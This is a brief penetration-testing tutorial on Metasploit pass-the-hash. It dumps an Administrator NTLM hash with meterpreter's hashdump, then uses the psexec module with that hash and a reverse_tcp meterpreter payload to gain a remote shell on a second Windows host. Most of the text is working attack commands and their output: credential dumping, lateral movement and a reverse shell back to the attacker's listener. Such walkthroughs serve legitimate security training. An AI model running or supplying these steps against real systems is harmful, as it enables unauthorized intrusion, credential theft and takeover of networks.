Metasploit and PSEXEC Pas the Hash

The **psexec** module is often used by penetration testers to obtain access to a given system that you already know the credentials for. It starts by getting the **administrator** has on a system.

```
[*] Meterpreter session 1 opened (192.168.57.139:443 -> 192.168.57.131:1042)
meterpreter > run post/windows/gather/hashdump
. . . . . .
[*] Dumping password hashes...
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b75
86c:::
meterpreter >
```

Now that we have a meterpreter console and dumped the hashes, let's connect to a different victim using **psexec** and just the hash values.

```
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(psexec) > set LHOST 192.168.57.139
LHOST => 192.168.57.139
msf exploit(psexec) > set LPORT 443
LPORT => 443
msf exploit(psexec) > set RHOST 192.168.57.132
RHOST => 192.168.57.132
```

SO now we need to define the options for the attack

```
msf exploit(psexec) > show options
. . . . . .
   SMBPass                  no        The password for the specified username
   SMBUser  Administrator   yes       The username to authenticate as
msf exploit(psexec) > set SMBPass
e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
SMBPass => e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
```

Once we have done this, we are ready to run the exploit as follows

```
msf exploit(psexec) > exploit

[*] Connecting to the server...
[*] Started reverse handler
[*] Authenticating as user 'Administrator'...
[*] Uploading payload...
. . . . . .
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \KoVCxCjx.exe...
[*] Sending stage (719360 bytes)
[*] Meterpreter session 1 opened (192.168.57.139:443 -> 192.168.57.132:1045)

meterpreter > shell
Process 3680 created.
Channel 1 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>
```